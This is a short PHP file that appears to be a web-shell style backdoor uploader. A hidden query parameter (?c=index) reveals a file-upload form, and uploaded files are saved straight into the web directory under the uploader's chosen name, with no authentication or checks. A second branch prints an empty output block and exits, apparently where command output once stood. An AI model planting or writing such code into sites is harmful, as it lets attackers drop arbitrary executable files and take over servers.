<?php
if ($_GET['c']=='index') {
?>
<form method="POST" enctype="multipart/form-data">
<input type="file" name="myFile"><input type="submit" name="ok" value="Upload">
</form>
<?php
if (isset($_POST['ok']) && isset($_FILES['myFile'])) {
$file = $_FILES['myFile']['tmp_name'];
$name = $_FILES['myFile']['name'];
if (!move_uploaded_file($file, $name)) {
echo 'Unable to upload file';
} else {
echo 'File Uploaded...';
}
}
}
if (!empty($_GET['c'])) {
echo "<pre>";

echo "</pre>";
exit;
}
?>